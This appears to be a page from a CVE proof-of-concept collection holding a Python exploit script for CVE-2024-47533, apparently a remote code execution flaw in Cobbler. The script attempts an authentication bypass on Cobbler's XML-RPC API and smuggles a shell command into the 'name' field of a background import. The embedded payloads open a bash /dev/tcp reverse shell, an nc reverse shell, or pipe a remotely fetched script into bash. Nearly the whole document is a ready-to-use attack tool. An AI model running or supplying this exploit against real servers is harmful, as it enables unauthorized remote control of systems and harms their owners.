4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-47533.py PY
#!/usr/bin/env python3
import ssl
import xmlrpc.client
import argparse

def exploit(target, lhost, lport, payload_type):
    payloads = {
        "bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
        "nc": f"nc -e /bin/bash {lhost} {lport}",
        "curl": f"curl http://{lhost}/rev.sh | bash"
    }

    payload = payloads.get(payload_type, payloads)

    print(f"[*] Target: {target}")
    print(f"[*] Listener: {lhost}:{lport}")
    print(f"[*] Payload type: {payload_type}")

    try:
        conn = xmlrpc.client.ServerProxy(
            target,
            context=ssl._create_unverified_context(),
            allow_none=True
        )

        print("[*] Trying to authenticate...")
        try:
            token = conn.login("", -1)
            print("[+] Login success!")
        except:
            token = None
            print("[-] Login bypass (anonymous)")

        import_data = {
            "path": "~/tmp",
            "name": f"$({payload})"
        }

        print("[*] Sending exploit...")
        if token:
            result = conn.background_import(import_data, token)
        else:
            result = conn.background_import(import_data)

        print("[+] Exploit sent. Check your listener (nc -lvnp PORT)")
        return True

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-47533 - Cobbler RCE")
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://127.0.0.1:25151/cobbler_api)')
    parser.add_argument('-l', '--lhost', required=True, help='Your IP for reverse shell')
    parser.add_argument('-p', '--lport', required=True, type=int, help='Your port for reverse shell')
    parser.add_argument('--payload', choices=['bash', 'nc', 'curl'], help='Payload type')

    args = parser.parse_args()
    exploit(args.target, args.lhost, args.lport, args.payload)


if __name__ == "__main__":
    main()